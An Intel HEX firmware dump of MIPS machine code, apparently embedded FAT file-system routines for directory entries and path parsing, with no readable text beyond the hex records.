:102cd000000000003400c28f401002001400c2af98
:102ce0001100c0a3000000003000c28f0b00438819
:102cf000080043983000c28f1d00448821288000be
:102d00001a0045982110a0001400c48f1b008200f7
:102d1000f4014000101000001210000021106200a9
:102d20002000c2af3000c28f1d0043882120600008
:102d30001a00449821108000ffff42241400c38f22
:102d4000241062001400c2af0480838f2000c28f61
:102d500034006210000000003c8082932300401089
:102d6000000000001000c0a30480828f1800c2afd2
:102d7000744b400b000000001800c48f00a0023c00
:102d800050084524213000009ad8400f0000000070
:102d900004004014000000001c00c28f3b4c400b9c
:102da000000000001000c293010042241000c2a3e2
:102db0003000c28f21004388212860001e00459802
:102dc0002110a0001800c38f211062001800c2afac
:102dd0003000c28f220042901000c3932b1062007b
:102de000e5ff4014000000003c8080a32000c48f59
:102df00000a0023c50084524e5d5400f000000002b
:102e00000600401400000000ffff0234048082af7f
:102e10001c00c28f3b4c400b000000002000c28f02
:102e2000048082af3000c28f24004390030002244c
:102e30002a006214000000001400c38f00a0023cae
:102e400050084224211062003800c38fff00633015
:102e5000000043a01400c28f0100432400a0023ce4
:102e600050084224211062003800c38f00ff6330f5
:102e7000021a0300ff006330000043a01400c28f59
:102e80000200432400a0023c5008422421106200aa
:102e90003800c48fff00033c24188300021c030089
:102ea000ff006330000043a01400c28f03004324de
:102eb00000a0023c50084224211062003800c48f58
:102ec000000f033c24188300021e0300ff00633040
:102ed000000043a0384c400b000000003000c28fbf
:102ee0002400439002000224140062140000000039
:102ef0001400c38f00a0023c50084224211062003d
:102f00003800c38fff006330000043a01400c28f5d
:102f10000100432400a0023c50084224211062001a
:102f20003800c38f00ff6330021a0300ff006330d4
:102f3000000043a0384c400b000000003000c28f5e
:102f40002400439001000224650062140000000088
:102f50001400c38f00a0023c5008422421106200dc
:102f6000000042901200c2a31100c2930c00401056
:102f7000000000003800c28fff0042300011020044
:102f8000ff0043301200c2930f004230ff00423076
:102f9000251062001200c2a3ea4b400b00000000a3
:102fa0003800c28f1200c2a31400c38f00a0023cdd
:102fb00050084224211062001200c393000043a075
:102fc0001400c28f010043243000c28f1d004488ca
:102fd000212880001a0045982110a000ffff4224fc
:102fe000241062001400c2af1400c28f1d004014f0
:102ff000000000003000c48f2128000021300000b4
:1030000001000724c64a400f0000000004004010e1
:10301000000000001c00c28f3b4c400b0000000071
:103020002000c28f010042242120400000a0023c69
:1030300050084524e5d5400f00000000060040146c
:1030400000000000ffff0234048082af1c00c28f2a
:103050003b4c400b000000002000c28f01004224c6
:10306000048082af1400c38f00a0023c50084224a9
:1030700021106200000042901200c2a31100c2930e
:1030800006004010000000003800c28f021102004c
:103090001200c2a3324c400b000000003800c28f67
:1030a00002120200ff0042300f004230ff004330a6
:1030b0001200c493f0ff022424108200ff0042306b
:1030c000251062001200c2a31400c38f00a0023cae
:1030d00050084224211062001200c393000043a054
:1030e000010002243c8082a32110000021e8c003db
:1030f0002c00bf8f2800be8f3000bd270800e003e2
:1031000000000000e8ffbd271400bfaf1000beaff5
:1031100021f0a0031800c4af212000001800c58fc3
:1031200021300000664c400f0000000021e8c00381
:103130001400bf8f1000be8f1800bd270800e003e9
:1031400000000000e0ffbd271c00bfaf1800beafad
:1031500021f0a0032000c4af01000224488082af08
:10316000212000002000c58f21300000664c400f58
:10317000000000001000c2af488080af1000c28f76
:1031800021e8c0031c00bf8f1800be8f2000bd27a0
:103190000800e0030000000088ffbd277400bfaff7
:1031a0007000beaf21f0a003211080007c00c5afed
:1031b0008000c6af7800c2a31400c0a7010002249b
:1031c0002800c2a77c00c28f1800c2af7c00c28f4b
:1031d0001c00c2af2c00c2272000c2af0c80828f1f
:1031e0002000c48f21284000403e400f0000000016
:1031f000348180a34880828f0600401000000000c8
:103200001c00c28f000042941000c2a7884c400be3
:10321000000000001800c28f000042801000c2a70a
:103220001000c29706004014000000001f00022496
:10323000348182a3ffff0224e34e400b0000000014
:103240001000c2972e000324060043100000000067
:103250005c000324f900431000000000e94d400b1e
:10326000000000004880828f09004010000000002c
:103270001c00c28f020042241c00c2af1c00c28f7f
:10328000000042941000c2a7aa4c400b00000000ae
:103290001800c28f010042241800c2af1800c28f6c
:1032a000000042801000c2a71000c3972e00022425
:1032b000aa006214000000004880828f09004010bc
:1032c000000000001c00c28f020042241c00c2af9c
:1032d0001c00c28f000042941000c2a7bf4c400bdc
:1032e000000000001800c28f010042241800c2af85
:1032f0001800c28f000042801000c2a72000c28fb9
:103300003c00438c2481828f060062140000000080
:103310001f000224348182a3ffff0224e34e400bee
:10332000000000002000c28f3c00438c2000c28fb0
:10333000400043ac010002242800c2a72800c22795
:103340002000c48f2128400001000624e72f400ff1
:10335000000000002400c2af2400c28f0600401409
:10336000000000001b000224348182a3ffff02241e
:10337000e34e400b000000002400c48f0227400fe2
:1033800000000000211840002000c28f3c0043ac28
:103390002000c28f3c00438c2000c28f400043ac11
:1033a0002000c28f3c00428c1f004014000000002f
:1033b0001200c0a71200c297010043241200c3a745
:1033c0002000c38f211062005c000324200043a072
:1033d000fe4c400b000000001200c2972000c38f7b
:1033e0002110620020000324200043a01200c29795
:1033f000010042241200c2a71200c2970b00422c07
:10340000f5ff4014000000002481838f2000c28f4c
:10341000400043ac2481838f2000c28f3c0043ac2a
:10342000274d400b000000001200c0a71200c297f9
:10343000010043241200c3a72000c38f21106200a3
:103440002e000324200043a01200c2970100432451
:103450001200c3a72000c38f211062002e00032496
:10346000200043a0234d400b000000001200c29733
:103470002000c38f2110620020000324200043a0fd
:103480001200c297010042241200c2a71200c29784
:103490000b00422cf5ff4014000000002800c0a7dc
:1034a0002800c2272000c48f2128400001000624e4
:1034b000e72f400f0000000006004014000000004d
:1034c0001b000224348182a3ffff0224e34e400b41
:1034d00000000000484d400b000000004880828f33
:1034e00009004010000000001c00c28f02004224ae
:1034f0001c00c2af1c00c28f000042941000c2a783
:10350000484d400b000000001800c28f010042240b
:103510001800c2af1800c28f000042801000c2a77e
:103520001000c3975c000224ecff62100000000052
:103530001000c2973f004014000000000c80828ff2
:10354000212040002000c58f403e400f00000000b9
:1035500021100000e34e400b000000001000c29755
:1035600009004014000000000c80828f21204000e0
:103570002000c58f403e400f0000000021100000d9
:10358000e34e400b000000001000c3975c000224d3
:103590002300621400000000794d400b0000000081
:1035a0004880828f09004010000000001c00c28f7c
:1035b000020042241c00c2af1c00c28f00004294d3
:1035c0001000c2a7794d400b000000001800c28f08
:1035d000010042241800c2af1800c28f00004280d0
:1035e0001000c2a71000c3975c000224ecff621019
:1035f000000000001000c2970e0040140000000000
:103600000c80828f212040002000c58f403e400f5b
:103610000000000021100000e34e400b00000000fd
:103620001f000224348182a3ffff0224e34e400bdb
:1036300000000000e14e400b000000004880828f37
:1036400009004010000000001c00c28f020042244c
:103650001c00c2af1c00c28f000042941000c2a721
:10366000a04d400b000000001800c28f0100422452
:103670001800c2af1800c28f000042801000c2a71d
:103680001000c3975c0002240600621400000000d2
:103690001f000224348182a3ffff0224e34e400b6b
:1036a000000000001000c29720004014000000003d
:1036b0000c80828f2481838f3c0043ac0c80828fee
:1036c0002481838f400043ac1200c0a70c80838ffd
:1036d0001200c297010044241200c4a72110620006
:1036e0005c000324200043a0c44d400b00000000f8
:1036f0000c80838f1200c2972110620020000324e7
:10370000200043a01200c297010042241200c2a769
:103710001200c2970b00422cf5ff4014000000007d
:1037200021100000e34e400b000000002481838f35
:103730002000c28f3c0043ac2481838f2000c28fc5
:10374000400043ac1200c0a71200c29701004324fe
:103750001200c3a72000c38f211062005c00032465
:10376000200043a0e34d400b000000001200c29770
:103770002000c38f2110620020000324200043a0fa
:103780001200c297010042241200c2a71200c29781
:103790000b00422cf5ff401400000000e14e400bee
:1037a000000000001200c0a74880828f3700401040
:1037b00000000000000202241400c2a70d4e400bbe
:1037c000000000001200c297010043241200c3a7aa
:1037d000212040001000c297201c027c00a0023c67
:1037e000e815422421108200000043a01200c29775
:1037f000010043241200c3a7212040001000c297fb
:1038000002120200ffff4230201c027c00a0023c9a
:10381000e815422421108200000043a01c00c28f42
:10382000020042241c00c2af1c00c28f0000429460
:103830001000c2a71000c2970a004010000000004c
:103840001000c3975c000224060062100000000014
:103850001200c3971400c2972b106200d9ff4014c6
:10386000000000001200c297010043241200c3a709
:103870002118400000a0023ce815422421106200fb
:10388000000040a0434e400b000000000001022455
:103890001400c2a7374e400b000000001200c29770
:1038a000010043241200c3a7212040001000c2974a
:1038b000201c027c00a0023ce8154224211082005a
:1038c000000043a01800c28f010042241800c2afbc
:1038d0001800c28f000042801000c2a71000c297db
:1038e0000a004010000000001000c3975c00022492
:1038f00006006210000000001200c3971400c29777
:103900002b106200e5ff4014000000001200c29777
:10391000010043241200c3a72118400000a0023c6c
:10392000e815422421106200000040a01200c39755
:103930001400c2972b1043001b0040100000000031
:10394000634e400b000000004880828f0900401049
:10395000000000001c00c28f020042241c00c2af05
:103960001c00c28f000042941000c2a7634e400b9f
:10397000000000001800c28f010042241800c2afee
:103980001800c28f000042801000c2a71000c2972a
:1039900005004010000000001000c3975c000224e6
:1039a000e9ff62140000000000a0023ce815442476
:1039b0002000c58f213000007644400f0000000039
:1039c0000400401400000000ffff0224e34e400bff
:1039d0000000000000a0023ca01344242000c58f7a
:1039e000403e400f0000000000a0023ca013442411
:1039f0002000c58f0100062421380000db1b400f8a
:103a00000000000006004010000000000c0002242e
:103a1000348182a3ffff0224e34e400b000000002c
:103a200000a0023ca01342243a004294100042300d
:103a300006004014000000001f000224348182a30d
:103a4000ffff0224e34e400b000000002000c28f65
:103a50003400429414004014000000001200c0a77b
:103a6000a64e400b000000001200c2971200c4973f
:103a700000a0033ca013632421188300200063806e
:103a80002000c48f21108200200043a01200c297a2
:103a9000010042241200c2a71200c2970b00422c60
:103aa000f1ff40140000000000a0023ca0134224db
:103ab0000400438c2000c28f3c0043ac2000c28f26
:103ac0003c00438c2000c28f400043ac1000c297e2
:103ad00009004014000000000c80828f212040006b
:103ae0002000c58f403e400f000000002110000064
:103af000e34e400b00000000dc4e400b00000000d5
:103b00004880828f09004010000000001c00c28f16
:103b1000020042241c00c2af1c00c28f000042946d
:103b20001000c2a7d14e400b000000001800c28f49
:103b3000010042241800c2af1800c28f000042806a
:103b40001000c2a71000c297090040140000000036
:103b50000c80828f212040002000c58f403e400f06
:103b60000000000021100000e34e400b00000000a8
:103b70001000c3975c000224e1ff62100000000007
:103b800000000000904c400b0000000021e8c00342
:103b90007400bf8f7000be8f7800bd270800e0035f
:103ba0000000000070ffbd278c00bfaf8800beafd3
:103bb00021f0a0039000c4af9400c5af9000c28f65
:103bc00005004010000000009400c28fffff42304b
:103bd000f74e400b000000000a0002242400c2a798
:103be00000a0023ca01342242800c2af1400c0a3ce
:103bf0001600c0a71800c0a700a0023ce815422488
:103c00002c00c2af348180a39000c28f0600401404
:103c10000000000000a0023c941342241000c2af38
:103c2000144f400b000000009000c28f1000c2af84
:103c30009400c28f06004014000000001f00022400
:103c4000348182a3211000005852400b0000000074
:103c50002400c297ffff42241000c38f211062008e
:103c60003000c2af0c80828f2800c48f2128400012
:103c7000403e400f000000002800c28f200043801b
:103c80002e00022406006214000000002800c28feb
:103c9000210043802e000224050062100000000075
:103ca0002800c28f340042948801401000000000b8
:103cb0002800c28f3c00428c3400c2af01000224b5
:103cc0003c00c2a72800c28f3c00438c2800c28f52
:103cd000400043ac3c00c2272800c48f212840008c
:103ce00001000624e72f400f000000001c00c2afb7
:103cf0001c00c28f06004014000000001b000224bc
:103d0000348182a3211000005852400b00000000b3
:103d10001c00c48f0227400f00000000208182afea
:103d20002081828f06004014000000002481838fd0
:103d30002800c28f3c0043ac534f400b00000000f2
:103d40002081838f2800c28f3c0043ac2800c28fa3
:103d50003c00438c2800c28f400043ac3c00c0a70d
:103d60003c00c2272800c48f2128400001000624ff
:103d7000e72f400f000000001c00c2af1c00c28fe4
:103d800006004014000000001b000224348182a3be
:103d9000211000005852400b000000001c00c48f8e
:103da0000227400f00000000208182af844f400bab
:103db000000000003c00c29701004224ffff423097
:103dc0003c00c2a73c00c2272800c48f2128400025
:103dd00021300000e72f400f000000001c00c2afa0
:103de0001c00c28f06004014000000001b000224cb
:103df000348182a3211000005852400b00000000c3
:103e00001c00c48f0227400f00000000208182aff9
:103e10002081838f3400c28fe6ff6214000000000f
:103e20002081838f3400c28f1000621400000000d4
:103e30001c00c28f00004380e5ff0224ddff6210fa
:103e4000000000001c00c28f0b00439008000224f9
:103e5000d8ff6210000000001c00c28f0b004390ce
:103e60000f000224d3ff6210000000004400c227ac
:103e7000212040002800c58f403e400f0000000078
:103e80003c00c297ffff4224ffff42303e00c2a722
:103e90003e00c2272800c48f2128400021300000a6
:103ea000e72f400f000000002000c2af4650400b3b
:103eb000000000002000c28f010042904000c2a319
:103ec0002000c28f020042904100c2a31600c287a8
:103ed000010043241600c3a7401002002c00c38f2a
:103ee000211062004000c397000043a42000c28f4d
:103ef000030042904000c2a32000c28f0400429001
:103f00004100c2a31600c287010043241600c3a7c4
:103f1000401002002c00c38f211062004000c397a4
:103f2000000043a42000c28f050042904000c2a3bd
:103f30002000c28f060042904100c2a31600c28733
:103f4000010043241600c3a7401002002c00c38fb9
:103f5000211062004000c397000043a42000c28fdc
:103f6000070042904000c2a32000c28f0800429088
:103f70004100c2a31600c287010043241600c3a754
:103f8000401002002c00c38f211062004000c39734
:103f9000000043a42000c28f090042904000c2a349
:103fa0002000c28f0a0042904100c2a31600c287bf
:103fb000010043241600c3a7401002002c00c38f49
:103fc000211062004000c397000043a41600c2877e
:103fd000010043241600c3a7401002002c00c38f29
:103fe000211062002000c38f0e006394000043a4e0
:103ff0001600c287010043241600c3a74010020028
:104000002c00c38f211062002000c38f1000639426
:10401000000043a41600c287010043241600c3a772
:10402000401002002c00c38f211062002000c38fbb
:1040300012006394000043a41600c28701004324c9
:104040001600c3a7401002002c00c38f211062008d
:104050002000c38f14006394000043a41600c2879d
:10406000010043241600c3a7401002002c00c38f98
:10407000211062002000c38f16006394000043a447
:104080001600c287010043241600c3a74010020097
:104090002c00c38f211062002000c38f180063948e
:1040a000000043a41600c287010043241600c3a7e2
:1040b000401002002c00c38f211062002000c38f2b
:1040c0001c006394000043a41600c287010043242f
:1040d0001600c3a7401002002c00c38f21106200fd
:1040e0002000c38f1e006394000043a43e00c297cb
:1040f000ffff4224ffff42303e00c2a73e00c2271e
:104100002800c48f2128400021300000e72f400ff5
:10411000000000002000c2af2000c28f0b004390bf
:104120000f0002240a006214000000002000c28f69
:1041300000004390e500022405006210000000002a
:104140002000c28f000042905aff4014000000007f
:104150004400c2272800c48f21284000403e400f61
:10416000000000001600c28721004014000000007b
:104170001500c0a37250400b000000001500c28360
:104180001500c3831c00c48f2118830000006380c6
:104190002800c48f21108200200043a00c80848f4f
:1041a0001500c2831500c3831c00c58f2118a3000e
:1041b0000000638021108200200043a01500c2830c
:1041c000010042241500c2a31500c2830b0042283f
:1041d000eaff4014000000000c80828f340040a4ed
:1041e0002800c28f340040a4ad50400b00000000f6
:1041f0001600c3972800c28f340043a40c00022489
:104200001500c2a39e50400b000000001600c3879b
:104210001500c2832310620021184000ff7f023c7a
:10422000ffff423421106200401002002c00c38fb7
:1042300021106200000042940c00401400000000b5
:104240001600c3971500c283ffff4230231062009f
:10425000ffff4230ffff4224ffff43302800c28fa0
:10426000340043a4a150400b000000001500c2839d
:10427000ffff42241500c2a31500c283e3ff4104df
:10428000000000000c80828f2800c38f34006394ec
:10429000340043a42800c28f00a0033ce815632427
:1042a000300043ac0c80828f00a0033ce8156324ef
:1042b000300043ac2800c28f3400c38f3c0043acb5
:1042c0002800c28f3400c38f400043ac2800c28f47
:1042d000200043805c0002240500621400000000fe
:1042e0002800c28f340042940f00401000000000ec
:1042f0002800c28f340042940700401000000000e4
:104300002800c28f3000428c000043945c000224dd
:1043100005006210000000009400c38f0200022418
:104320000a006214000000001000c28f5c00032429
:10433000000043a01000c28f01004224000040a0f2
:104340001000c28f5852400b000000001800c0a798
:10435000d951400b000000002800c28f3400429465
:1043600045004010000000002800c28f3400429435
:1043700040100200ffff4230ffff4224ffff4230a7
:104380001600c2a71951400b000000004c80828f1c
:1043900018004010000000001800c28701004324ec
:1043a0001800c3a71000c38f211862001600c2872f
:1043b000ffff44241600c4a72120400000a0023cb7
:1043c000e81542242110820000004280000062a013
:1043d0001800c3872400c297220062140000000066
:1043e0001800c0a7010002241400c2a31951400bf9
:1043f000000000001600c38700a0023ce81542241c
:1044000021106200000042801300401000000000f4
:104410001800c287010043241800c3a71000c38fef
:10442000211062001600c48700a0033ce815632435
:104430002118830000006380000043a01800c38798
:104440002400c29704006214000000001800c0a7f6
:10445000010002241400c2a31600c287ffff4224f9
:104460001600c2a71600c287c8ff41040000000062
:10447000ad51400b000000000a0002241500c2a349
:104480002551400b000000001500c283ffff4224ad
:104490001500c2a31500c2832800c38f211062003b
:1044a0002000438020000224f7ff6210000000007b
:1044b0001500c283080042284a0040140000000092
:1044c0005551400b000000001800c2870100432432
:1044d0001800c3a71000c38f211862001500c28303
:1044e000ffff44241500c4a32800c48f21108200bc
:1044f00020004280000062a01800c3872400c297f9
:1045000004006214000000001800c0a7010002248b
:104510001400c2a34c80828f0e00401000000000e7
:104520001800c287010043241800c3a71000c38fde
:1045300021106200000040a01800c3872400c29729
:1045400004006214000000001800c0a7010002244b
:104550001400c2a31500c28308004228daff4010ed
:10456000000000001800c287010043241800c3a700
:104570001000c38f211062002e000324000043a00e
:104580001800c3872400c2970400621400000000d2
:104590001800c0a7010002241400c2a34c80828f1f
:1045a00010004010000000001800c28701004324e2
:1045b0001800c3a71000c38f21106200000040a0a4
:1045c0001800c3872400c297060062140000000090
:1045d0001800c0a7010002241400c2a37e51400ba2
:1045e000000000007e51400b000000001500c28357
:1045f000ffff42241500c2a31500c2832800c38f09
:10460000211062002000438020000224f7ff621086
:1046100000000000aa51400b000000001800c287f3
:10462000010043241800c3a71000c38f21186200a3
:104630001500c283ffff44241500c4a32800c48fc3
:104640002110820020004280000062a01800c38771
:104650002400c29704006214000000001800c0a7e4
:10466000010002241400c2a34c80828f0e0040106f
:10467000000000001800c287010043241800c3a7ef
:104680001000c38f21106200000040a01800c387f3
:104690002400c29704006214000000001800c0a7a4
:1046a000010002241400c2a31500c283dbff4104f1
:1046b000000000004c80828f0e00401000000000bf
:1046c0001800c287010043241800c3a71000c38f3d
:1046d00021106200000040a01800c3872400c29788
:1046e00004006214000000001800c0a701000224aa
:1046f0001400c2a31800c287010043241800c3a7f6
:104700001000c38f211062005c000324000043a04e
:104710001800c3872400c297040062140000000040
:104720001800c0a7010002241400c2a32800c28ff1
:104730003c00438c2800c28f400043ac2800c48f4b
:104740007352400f000000000600401000000000ff
:1047500008000224348182a3211000005852400b2b
:10476000000000002800c28f3c00438c2481828f0f
:10477000f9fe6214000000001800c287ffff422407
:104780001800c2a71600c0a71400c2934d00401025
:10479000000000001800c2973800c2a70152400b69
:1047a000000000001600c2871000c38f21106200b5
:1047b000000042903a00c2a31600c2871000c38fc7
:1047c000211062001800c3871000c48f21188300d5
:1047d00000006380000043a01800c2871000c38f50
:1047e000211062003a00c393000043a01800c28762
:1047f000ffff42241800c2a71600c287010042240e
:104800001600c2a71800c3871600c28723106200d3
:10481000e4ff401c000000003800c2970100422461
:10482000ffff42301600c2a73000c38f1000c28fb6
:10483000231062001800c2a72852400b000000009d
:104840001600c2871000c38f211062000000429042
:104850003a00c2a31600c2871000c38f2110620065
:104860001800c3871000c48f2118830000006380e4
:10487000000043a01800c2871000c38f21106200ff
:104880003a00c393000043a01800c287ffff4224f0
:104890001800c2a71600c287010042241600c2a752
:1048a0001800c3871600c28723106200e4ff401c73
:1048b000000000003000c28f000040a05752400ba3
:1048c000000000001800c2973800c2a74d52400bec
:1048d000000000001600c2871000c38f2110620084
:1048e000000042903a00c2a31600c2871000c38f96
:1048f000211062001800c3871000c48f21188300a4
:1049000000006380000043a01800c2871000c38f1e
:10491000211062003a00c393000043a01800c28730
:10492000ffff42241800c2a71600c28701004224dc
:104930001600c2a71800c3871600c28723106200a2
:10494000e4ff401c000000003800c2970100422430
:104950001000c38f21106200000040a01000c28f21
:1049600021e8c0038c00bf8f8800be8f9000bd2758
:104970000800e00300000000e0ffbd271c00bfafff
:104980001800beaf21f0a0032000c4af2400c5afc3
:10499000010002244c8082af2000c48f2400c58f08
:1049a000e94e400f000000001000c2af4c8080af05
:1049b0001000c28f21e8c0031c00bf8f1800be8ffb
:1049c0002000bd270800e0030000000080ffbd2795
:1049d0007c00bfaf7800beaf21f0a0038000c4af61
:1049e000010002242800c2a700a0023ce8154224ce
:1049f0002000c2af2800c2278000c48f21284000b9
:104a000001000624e72f400f000000001800c2af8d
:104a10001800c28f0400401400000000ff000224b0
:104a20001d54400b000000001800c48f0227400fe7
:104a300000000000208182af2081828f1b00401483
:104a4000000000008000c28f5c000324200043a00f
:104a50001000c0af9f52400b000000008000c38fc9
:104a60001000c28f2110620020000324200043a008
:104a70001000c28f010042241000c2af1000c28f8c
:104a80000b004228f5ff4014000000002481838fb2
:104a90008000c28f3c0043ac2481838f8000c28f92
:104aa000400043ac1953400b000000002081828f6e
:104ab0002400c2af2081838f8000c28f3c0043acb2
:104ac0002081838f8000c28f400043ac2800c22722
:104ad0008000c48f2128400001000624e72f400fea
:104ae000000000001800c2af1800c28f040040147c
:104af00000000000ff0002241d54400b00000000d5
:104b00001800c48f0227400f00000000208182aff0
:104b10002081828f06004014000000002481838fd2
:104b20008000c28f3c0043accf52400b000000001d
:104b30002081838f8000c28f3c0043ac8000c28ff5
:104b40003c00438c8000c28f400043ac2800c0a7cb
:104b50002800c2278000c48f2128400001000624bd
:104b6000e72f400f000000001800c2af1800c28fee
:104b70000400401400000000ff0002241d54400bfc
:104b8000000000001800c48f0227400f0000000042
:104b9000208182affc52400b000000002800c22799
:104ba0008000c48f2128400021300000e72f400ff3
:104bb000000000001800c2af1800c28f04004014ab
:104bc00000000000ff0002241d54400b0000000004
:104bd0002800c29701004224ffff42302800c2a7ec
:104be0001800c48f0227400f00000000208182af10
:104bf0002081838f2400c28fe8ff62140000000030
:104c00002081838f2400c28f1000621400000000f6
:104c10001800c28f00004380e5ff0224dfff62100e
:104c2000000000001800c28f0b004390080002240f
:104c3000daff6210000000001800c28f0b004390e2
:104c40000f000224d5ff6210000000008000c28f18
:104c50002400c38f3c0043ac8000c28f2400c38f6c
:104c6000400043ac1000c0af2c00c2272120400000
:104c70008000c58f403e400f000000002800c29712
:104c8000feff4224ffff42307000c2a77000c2271f
:104c90008000c48f2128400021300000e72f400f02
:104ca000000000001c00c2afc553400b0000000014
:104cb0001c00c28f010042907400c2a31c00c28f6e
:104cc000020042907500c2a31000c28f010043246d
:104cd0001000c3af401002002000c38f21106200fb
:104ce0007400c397000043a41c00c28f03004290cd
:104cf0007400c2a31c00c28f040042907500c2a3be
:104d00001000c28f010043241000c3af4010020006
:104d10002000c38f211062007400c397000043a4d9
:104d20001c00c28f050042907400c2a31c00c28ff9
:104d3000060042907500c2a31000c28f01004324f8
:104d40001000c3af401002002000c38f211062008a
:104d50007400c397000043a41c00c28f0700429058
:104d60007400c2a31c00c28f080042907500c2a349
:104d70001000c28f010043241000c3af4010020096
:104d80002000c38f211062007400c397000043a469
:104d90001c00c28f090042907400c2a31c00c28f85
:104da0000a0042907500c2a31000c28f0100432484
:104db0001000c3af401002002000c38f211062001a
:104dc0007400c397000043a41000c28f0100432465
:104dd0001000c3af401002002000c38f21106200fa
:104de0001c00c38f0e006394000043a41000c28f08
:104df000010043241000c3af401002002000c38f05
:104e0000211062001c00c38f10006394000043a4b3
:104e10001000c28f010043241000c3af40100200f5
:104e20002000c38f211062001c00c38f1200639406
:104e3000000043a41000c28f010043241000c3af40
:104e4000401002002000c38f211062001c00c38f9d
:104e500014006394000043a41000c28f0100432497
:104e60001000c3af401002002000c38f2110620069
:104e70001c00c38f16006394000043a41000c28f6f
:104e8000010043241000c3af401002002000c38f74
:104e9000211062001c00c38f18006394000043a41b
:104ea0001000c28f010043241000c3af4010020065
:104eb0002000c38f211062001c00c38f1c0063946c
:104ec000000043a41000c28f010043241000c3afb0
:104ed000401002002000c38f211062001c00c38f0d
:104ee0001e006394000043a47000c297ffff422499
:104ef000ffff42307000c2a77000c2278000c48f3d
:104f00002128400021300000e72f400f0000000062
:104f10001c00c2af1c00c28f0b0043900f00022484
:104f20000a006214000000001c00c28f00004390c1
:104f3000e500022405006210000000001c00c28f82
:104f4000000042905aff4014000000002c00c227cd
:104f50008000c48f21284000403e400f0000000028
:104f60001000c28f17004014000000001400c0aff2
:104f7000e953400b000000001800c38f1400c28fdb
:104f800021106200000043808000c48f1400c28f93
:104f900021108200200043a01400c28f010042248f
:104fa0001400c2af1400c28f0b004228f2ff40145d
:104fb000000000008000c28f340040a41c54400b4d
:104fc000000000001000c28fffff43308000c28f3e
:104fd000340043a40c0002241400c2af1554400b4b
:104fe000000000001000c38f1400c28f2310620065
:104ff00021184000ff7f023cffff42342110620075
:10500000401002002000c38f211062000000429473
:105010000d004014000000001000c28fffff43305d
:105020001400c28fffff423023106200ffff4230a6
:10503000ffff4224ffff43308000c28f340043a4af
:105040001854400b000000001400c28fffff4224e0
:105050001400c2af1400c28fe2ff41040000000040
:105060008000c28f00a0033ce8156324300043aced
:105070002110000021e8c0037c00bf8f7800be8fa4
:105080008000bd270800e00300000000e8ffbd2706
:105090001400bfaf1000beaf21f0a0031800c4afd2
:1050a000212000001800c58f213000004854400f17
:1050b0000000000021e8c0031400bf8f1000be8f65
:1050c0001800bd270800e00300000000e0ffbd2736
:1050d0001c00bfaf1800beaf21f0a0032000c4af7a
:1050e00001000224488082af212000002000c58feb
:1050f000213000004854400f000000001000c2aff3
:10510000488080af1000c28f21e8c0031c00bf8f11
:105110001800be8f2000bd270800e003000000003b
:10512000c8fdbd273402bfaf3002beaf21f0a003df
:10513000211080003c02c5af4002c6af3802c2a3b6
:105140001200c0a71400c0a73c02c28f1800c2af53
:105150003c02c28f1c00c2af00a0023c00064224e9
:105160002000c2af348180a3d8d8400f00000000d7
:10517000060040100000000018000224348182a3c1
:10518000ffff02246c57400b000000004880828f14
:1051900068004010000000003c02c28f1c00c2af3b
:1051a0001000c0a77154400b000000001c00c28f0b
:1051b000020042241c00c2af1000c297010042242a
:1051c0001000c2a71c00c28f000042940b004010c8
:1051d000000000001c00c28f000043942e00022437
:1051e00006006210000000001c00c28f0000439403
:1051f0005c000224edff6214000000001000c29762
:105200000101422c06004014000000001f0002248f
:10521000348182a3ffff02246c57400b0000000082
:105220001200c0a71c00c28f000043942e0002246d
:1052300020006214000000001c00c28f0200422403
:105240001c00c2af9954400b000000001c00c28f2c
:10525000020042241c00c2af1200c2970100422487
:105260001200c2a71c00c28f00004294060040102a
:10527000000000001c00c28f000043945c00022468
:10528000f2ff6214000000001000c3971200c297e2
:1052900021106200010142280600401400000000b5
:1052a0001f000224348182a3ffff02246c57400bad
:1052b000000000001000c3971200c297211862007e
:1052c0001400c2972a10430007004010000000009d
:1052d0001000c3971200c297211062001400c2a7e9
:1052e000bf54400b00000000bf54400b0000000002
:1052f0001c00c28f020042241c00c2af1c00c28fdf
:10530000000043945c000224f9ff621000000000da
:105310001c00c28f000042940400401400000000f2
:10532000000000003155400b000000006854400ba5
:10533000000000001000c0a7d654400b0000000081
:105340001800c28f010042241800c2af1000c2979b
:10535000010042241000c2a71800c28f0000428042
:105360000b004010000000001800c28f00004380b6
:105370002e00022406006210000000001800c28ff8
:10538000000043805c000224edff62140000000076
:105390001000c2970101422c0600401400000000da
:1053a0001f000224348182a3ffff02246c57400bac
:1053b000000000001200c0a71800c28f0000438048
:1053c0002e00022420006214000000001800c28f8a
:1053d000010042241800c2affe54400b0000000040
:1053e0001800c28f010042241800c2af1200c297f9
:1053f000010042241200c2a71800c28f00004280a0
:1054000006004010000000001800c28f000043801a
:105410005c000224f2ff6214000000001000c39739
:105420001200c297211062000101422806004014b8
:10543000000000001f000224348182a3ffff022429
:105440006c57400b000000001000c3971200c29779
:10545000211862001400c2972a1043000700401070
:10546000000000001000c3971200c29721106200d4
:105470001400c2a72455400b000000002455400b27
:10548000000000001800c28f010042241800c2afc3
:105490001800c28f000043805c000224f9ff6210f4
:1054a000000000001800c28f00004280030040147a
:1054b000000000003155400b00000000cd54400baf
:1054c000000000003c02c28f1c00c2af3c02c28f31
:1054d0001800c2af0c80828f2000c48f21284000aa
:1054e000403e400f000000004880828f06004010c0
:1054f000000000001c00c28f000042941000c2a7f0
:105500004555400b000000001800c28f000042808b
:105510001000c2a71000c3972e000224800062145e
:10552000000000004880828f090040100000000049
:105530001c00c28f020042241c00c2af1c00c28f9c
:10554000000042941000c2a75a55400b0000000012
:105550001800c28f010042241800c2af1800c28f89
:10556000000042801000c2a71000c3972e00022442
:105570000d006210000000001000c2970a004010e9
:10558000000000001000c3975c00022406006210b7
:10559000000000001f000224348182a3ffff0224c8
:1055a0006c57400b000000001000c3972e0002242f
:1055b00037006214000000000c80828f3c00438c96
:1055c0002481828f06006214000000001f00022464
:1055d000348182a3ffff02246c57400b00000000bf
:1055e0004880828f09004010000000001c00c28f1c
:1055f000020042241c00c2af1c00c28f0000429473
:105600001000c2a78955400b000000001800c28f8f
:10561000010042241800c2af1800c28f000042806f
:105620001000c2a71000c3975c000224090062109a
:10563000000000001000c2970600401000000000ab
:105640001f000224348182a3ffff02246c57400b09
:10565000000000004880828f07004010000000001a
:10566000059d023c00674424414c400f00000000af
:10567000a455400b00000000059d023c086744242f
:10568000414c400f00000000b755400b00000000e7
:10569000b755400b000000004880828f0900401081
:1056a000000000001c00c28f020042241c00c2af98
:1056b0001c00c28f000042941000c2a7b755400bd7
:1056c000000000001800c28f010042241800c2af81
